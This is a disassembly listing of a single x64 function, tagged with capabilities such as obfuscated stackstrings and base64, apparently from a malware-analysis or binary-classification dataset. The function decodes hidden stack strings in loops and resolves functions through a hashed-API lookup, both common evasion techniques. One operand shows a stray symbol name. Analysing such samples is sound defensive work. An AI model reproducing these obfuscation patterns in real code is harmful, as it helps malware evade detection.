Function at 0x140001010
Capabilities:
Contain obfuscated stackstrings
Encode data using base64
Parse pe header

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1f]
sub rsp, 0xd8
mov byte [rbp - 0x49], 0
xor ebx, ebx
mov byte [rbp - 0x48], 0x5d
mov byte [rbp - 0x47], 0x33
mov byte [rbp - 0x46], 0xf
mov byte [rbp - 0x45], 0x72
mov byte [rbp - 0x44], 0x33
mov byte [rbp - 0x43], 0x64
mov byte [rbp - 0x42], 0x52
mov byte [rbp - 0x41], 0x4b
mov byte [rbp - 0x40], 0x2f
mov byte [rbp - 0x3f], 0x2c
mov byte [rbp - 0x3e], 0x64
mov byte [rbp - 0x3d], 0x64
mov byte [rbp - 0x3c], 0x6a
movzx eax, byte [rbp - 0x48]
movzx eax, byte [rbp - 0x49]
test al, al
jne 0x1400010d3
mov r8d, ebx
nop dword [rax]
nop word [rax + rax]
movzx ecx, byte [rbp + r8 - 0x48]
mov eax, 0x6a
sub eax, ecx
lea ecx, [rax + rax*8]
mov eax, 0x81020409
add ecx, ecx
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov eax, 0x81020409
add ecx, 0x7f
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rbp + r8 - 0x48], cl
inc r8
cmp r8, 0xd
jb 0x140001080
mov edx, 0xf
mov r8d, 0x439c7e33
lea r9d, [rdx - 0xb]
call fcn.140004300
lea rcx, [rbp - 0x48]
call rax
mov byte [rbp - 0x79], bl
mov byte [rbp - 0x78], 0x4e
mov byte [rbp - 0x77], 0xa
mov byte [rbp - 0x76], 0x30
mov byte [rbp - 0x75], 0x33
mov byte [rbp - 0x74], 0x41
mov byte [rbp - 0x73], 0x30
mov byte [rbp - 0x72], 0x6b
mov byte [rbp - 0x71], 9
mov byte [rbp - 0x70], 0x12
mov byte [rbp - 0x6f], 0x12
mov byte [rbp - 0x6e], 0x57
movzx ecx, byte [rbp - 0x78]
mov qword [rbp + 0x67], rax
movzx eax, byte [rbp - 0x79]
test al, al
jne 0x140001185
mov r9, rbx
nop
movzx ecx, byte [rbp + r9 - 0x78]
mov eax, 0x81020409
sub ecx, 0x57
imul r8d, ecx, 0xf
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
mov eax, 0x81020409
add r8d, 0x7f
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
mov byte [rbp + r9 - 0x78], r8b
inc r9
cmp r9, 0xb
jb 0x140001130
mov edx, 0xf
mov r8d, 0x439c7e33
lea r9d, [rdx - 0xb]
call fcn.140004300
lea rcx, [rbp - 0x78]
call rax
mov byte [rbp - 0x39], bl
mov byte [rbp - 0x38], 0x61
mov byte [rbp - 0x37], 0x2a
mov byte [rbp - 0x36], 0x32
mov byte [rbp - 0x35], 0x53
mov byte [rbp - 0x34], 5
mov byte [rbp - 0x33], 0x10
mov byte [rbp - 0x32], 0x77
mov byte [rbp - 0x31], 0x30
mov byte [rbp - 0x30], 0x12
mov byte [rbp - 0x2f], 0x2a
mov byte [rbp - 0x2e], 0x66
mov byte [rbp - 0x2d], 0x66
mov byte [rbp - 0x2c], 0x36
mov qword [rbp + 0x6f], rax
movzx eax, byte [rbp - 0x38]
movzx eax, byte [rbp - 0x39]
test al, al
jne 0x140001245
mov r9, rbx
nop dword [rax]
movzx ecx, byte [rbp + r9 - 0x38]
mov eax, 0x81020409
sub ecx, 0x36
imul r8d, ecx, 0x22
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
mov eax, 0x81020409
add r8d, 0x7f
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
mov byte [rbp + r9 - 0x38], r8b
inc r9
cmp r9, 0xd
jb 0x1400011f0
mov edx, 0xf
mov r8d, 0x439c7e33
lea r9d, [rdx - 0xb]
call fcn.140004300
lea rcx, [rbp - 0x38]
call rax
mov byte [rsp + 0x20], bl
mov byte [rsp + 0x21], 0x72
mov byte [rsp + 0x22], 0x6a
mov byte [rsp + 0x23], 0x55
mov byte [rsp + 0x24], 0x20
mov byte [rsp + 0x25], 0x20
mov byte [rsp + 0x26], 0x1e
mov byte [rsp + 0x27], 0x55
mov byte [rsp + 0x28], 0x20
mov byte [rsp + 0x29], 0x20
mov byte [rsp + 0x2a], 0x31
movzx ecx, byte [rsp + 0x21]
movzx ecx, byte [rsp + 0x20]
mov qword [rbp + 0x77], rax
test cl, cl
jne 0x140001305
mov r9, rbx
nop word [rax + rax]
movzx ecx, byte [rsp + r9 + 0x21]
mov eax, 0x81020409
sub ecx, 0x31
imul r8d, ecx, 0x1f
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
mov eax, 0x81020409
add r8d, 0x7f
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
mov byte [rsp + r9 + 0x21], r8b
inc r9
cmp r9, 0xa
jb 0x1400012b0
mov edx, 0xf
mov r8d, 0x439c7e33
lea r9d, [rdx - 0xb]
call fcn.140004300
lea rcx, [rsp + 0x21]
call rax
mov byte [rbp - 0x29], bl
mov byte [rbp - 0x28], 0xf
mov byte [rbp - 0x27], 0x71
mov byte [rbp - 0x26], 0x27
mov byte [rbp - 0x25], 0x3c
mov byte [rbp - 0x24], 0x27
mov byte [rbp - 0x23], 0x31
mov byte [rbp - 0x22], 0x70
mov byte [rbp - 0x21], 0x3c
mov byte [rbp - 0x20], 0xc
mov byte [rbp - 0x1f], 0x50
mov byte [rbp - 0x1e], 0x7b
mov byte [rbp - 0x1d], 0x7b
mov byte [rbp - 0x1c], 0x72
mov qword [rbp + 0x7f], rax
movzx eax, byte [rbp - 0x28]
movzx eax, byte [rbp - 0x29]
test al, al
jne 0x1400013c9
mov r9, rbx
nop word [rax + rax]
movzx ecx, byte [rbp + r9 - 0x28]
mov eax, 0x81020409
sub ecx, 0x72
lea r8d, [rcx + rcx*2]
shl r8d, 2
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
mov eax, 0x81020409
add r8d, 0x7f
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
mov byte [rbp + r9 - 0x28], r8b
inc r9
cmp r9, 0xd
jb 0x140001370
mov edx, 0xf
mov r8d, 0x439c7e33
lea r9d, [rdx - 0xb]
call fcn.140004300
lea rcx, [rbp - 0x28]
call rax
mov byte [rsp + 0x30], bl
mov r13, rax
mov byte [rsp + 0x31], 0xe
mov byte [rsp + 0x32], bl
mov byte [rsp + 0x33], 0x7e
mov byte [rsp + 0x34], 0xa
mov byte [rsp + 0x35], 0x1c
mov byte [rsp + 0x36], 0x64
mov byte [rsp + 0x37], 0x11
mov byte [rsp + 0x38], bl
mov byte [rbp - 0x80], bl
mov byte [rbp - 0x7f], 0x27
movzx ecx, byte [rsp + 0x31]
movzx ecx, byte [rsp + 0x30]
test cl, cl
jne 0x140001485
mov r9, rbx
nop dword [rax + rax]
movzx ecx, byte [rsp + r9 + 0x31]
mov eax, 0x81020409
sub ecx, 0x27
imul r8d, ecx, 7
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
mov eax, 0x81020409
add r8d, 0x7f
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
mov byte [rsp + r9 + 0x31], r8b
inc r9
cmp r9, 0xa
jb 0x140001430
mov edx, 0xf
mov r8d, 0x439c7e33
lea r9d, [rdx - 0xb]
call fcn.140004300
lea rcx, [rsp + 0x31]
call rax
mov byte [rbp - 0x19], bl
mov r15, rax
mov byte [rbp - 0x18], 9
mov byte [rbp - 0x17], 0xe
mov byte [rbp - 0x16], 0x60
mov byte [rbp - 0x15], 0x2e
mov byte [rbp - 0x14], 0x5a
mov byte [rbp - 0x13], 0xb
mov byte [rbp - 0x12], 0x53
mov byte [rbp - 0x11], 4
mov byte [rbp - 0x10], 0x45
mov byte [rbp - 0xf], 0x11
mov byte [rbp - 0xe], 0xe
mov byte [rbp - 0xd], 0xe
mov byte [rbp - 0xc], 0x76
movzx eax, byte [rbp - 0x18]
movzx eax, byte [rbp - 0x19]
test al, al
jne 0x140001541
mov r8, rbx
nop dword [rax]
movzx ecx, byte [rbp + r8 - 0x18]
mov eax, 0x76
sub eax, ecx
imul ecx, eax, 0x2d
mov eax, 0x81020409
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov eax, 0x81020409
add ecx, 0x7f
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rbp + r8 - 0x18], cl
inc r8
cmp r8, 0xd
jb 0x1400014f0
mov edx, 0xf
mov r8d, 0x439c7e33
lea r9d, [rdx - 0xb]
call fcn.140004300
lea rcx, [rbp - 0x18]
call rax
mov byte [rbp - 9], bl
mov r12, rax
mov byte [rbp - 8], 0x58
mov byte [rbp - 7], 0x21
mov byte [rbp - 6], 0x5b
mov byte [rbp - 5], 0x1a
mov byte [rbp - 4], 0x54
mov byte [rbp - 3], 0x28
mov byte [rbp - 2], 9
mov byte [rbp - 1], 0x27
mov byte [rbp], 0x20
mov byte [rbp + 1], 0x3f
mov byte [rbp + 2], 0x4d
mov byte [rbp + 3], 0x4d
mov byte [rbp + 4], 0xf
movzx eax, byte [rbp - 8]
movzx eax, byte [rbp - 9]
test al, al
jne 0x140001605
mov r9, rbx
nop dword [rax]
nop dword [rax + rax]
movzx ecx, byte [rbp + r9 - 8]
mov eax, 0x81020409
sub ecx, 0xf
imul r8d, ecx, 0x37
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
mov eax, 0x81020409
add r8d, 0x7f
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
mov byte [rbp + r9 - 8], r8b
inc r9
cmp r9, 0xd
jb 0x1400015b0
mov edx, 0xf
mov r8d, 0x439c7e33
lea r9d, [rdx - 0xb]
call fcn.140004300
lea rcx, [rbp - 8]
call rax
mov byte [rbp + 7], bl
mov r14, rax
mov byte [rbp + 8], 0xe
mov byte [rbp + 9], 0x78
mov byte [rbp + 0xa], 0x5f
mov byte [rbp + 0xb], 0x2c
mov byte [rbp + 0xc], 0x78
mov byte [rbp + 0xd], 0x59
mov byte [rbp + 0xe], 0x78
mov byte [rbp + 0xf], 0x72
mov byte [rbp + 0x10], 9
mov byte [rbp + 0x11], 0x13
mov byte [rbp + 0x12], 0x2c
mov byte [rbp + 0x13], 0x2c
mov byte [rbp + 0x14], 0x18
movzx eax, byte [rbp + 8]
movzx eax, byte [rbp + 7]
test al, al
jne 0x1400016c4
mov r8, rbx
nop dword [rax + rax]
movzx ecx, byte [rbp + r8 + 8]
mov eax, 0x18
sub eax, ecx
lea ecx, [rax + rax*4]
mov eax, 0x81020409
shl ecx, 2
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov eax, 0x81020409
add ecx, 0x7f
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rbp + r8 + 8], cl
inc r8
cmp r8, 0xd
jb 0x140001670
mov edx, 0xf
mov r8d, 0x439c7e33
lea r9d, [rdx - 0xb]
call fcn.140004300
lea rcx, [rbp + 8]
call rax
mov byte [rbp - 0x69], bl
mov rsi, rax
mov byte [rbp - 0x68], 0x64
mov byte [rbp - 0x67], 0xf
mov byte [rbp - 0x66], 0x17
mov byte [rbp - 0x65], 0x2d
mov byte [rbp - 0x64], 1
mov byte [rbp - 0x63], 0x1f
mov byte [rbp - 0x62], 0x11
mov byte [rbp - 0x61], 0x1a
mov byte [rbp - 0x60], 7
mov byte [rbp - 0x5f], 0x17
mov byte [rbp - 0x5e], 0x17
mov byte [rbp - 0x5d], 0x3d
movzx ecx, byte [rbp - 0x68]
movzx eax, byte [rbp - 0x69]
test al, al
jne 0x140001781
mov r8, rbx
nop dword [rax]
nop word [rax + rax]
movzx ecx, byte [rbp + r8 - 0x68]
mov eax, 0x3d
sub eax, ecx
imul ecx, eax, 0x3f
mov eax, 0x81020409
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov eax, 0x81020409
add ecx, 0x7f
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rbp + r8 - 0x68], cl
inc r8
cmp r8, 0xc
jb 0x140001730
mov edx, 0xf
mov r8d, 0x439c7e33
lea r9d, [rdx - 0xb]
call fcn.140004300
lea rcx, [rbp - 0x68]
call rax
mov byte [rbp - 0x59], bl
mov rdi, rax
mov byte [rbp - 0x58], 0x73
mov byte [rbp - 0x57], 8
mov byte [rbp - 0x56], 0x72
mov byte [rbp - 0x55], 0x24
mov byte [rbp - 0x54], 0x24
mov byte [rbp - 0x53], 0x12
mov byte [rbp - 0x52], 0xb
mov byte [rbp - 0x51], WSAGetLastError
mov byte [rbp - 0x50], 0x6b
mov byte [rbp - 0x4f], 0x24
mov byte [rbp - 0x4e], 0x24
mov byte [rbp - 0x4d], 0x2a
movzx ecx, byte [rbp - 0x58]
movzx eax, byte [rbp - 0x59]
test al, al
jne 0x140001831
nop dword [rax]
movzx ecx, byte [rbp + rbx - 0x58]
mov eax, 0x2a
sub eax, ecx
lea ecx, [rax + rax*8]
mov eax, 0x81020409
add ecx, ecx
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov eax, 0x81020409
add ecx, 0x7f
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rbp + rbx - 0x58], cl
inc rbx
cmp rbx, 0xc
jb 0x1400017e0
mov edx, 0xf
mov r8d, 0x439c7e33
lea r9d, [rdx - 0xb]
call fcn.140004300
lea rcx, [rbp - 0x58]
call rax
mov rbx, rax
mov rax, qword [rbp + 0x67]
test rax, rax
je 0x14000185f
mov rcx, rax
call fcn.1400019b0
mov rax, qword [rbp + 0x6f]
test rax, rax
je 0x140001870
mov rcx, rax
call fcn.1400019b0
mov rax, qword [rbp + 0x77]
test rax, rax
je 0x140001881
mov rcx, rax
call fcn.1400019b0
test r13, r13
je 0x140001898
mov rcx, r13
mov dword [0x14003fd50], 1
call fcn.1400019b0
test r15, r15
je 0x1400018a5
mov rcx, r15
call fcn.1400019b0
test r12, r12
je 0x1400018b2
mov rcx, r15
call fcn.1400019b0
test r14, r14
je 0x1400018bf
mov rcx, r14
call fcn.1400019b0
test rsi, rsi
je 0x1400018cc
mov rcx, rsi
call fcn.1400019b0
test rdi, rdi
je 0x1400018d9
mov rcx, rdi
call fcn.1400019b0
test rbx, rbx
je 0x1400018e6
mov rcx, rbx
call fcn.1400019b0
mov rax, qword [rbp + 0x7f]
test rax, rax
je 0x1400018f7
mov rcx, rax
call fcn.1400019b0
add rsp, 0xd8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret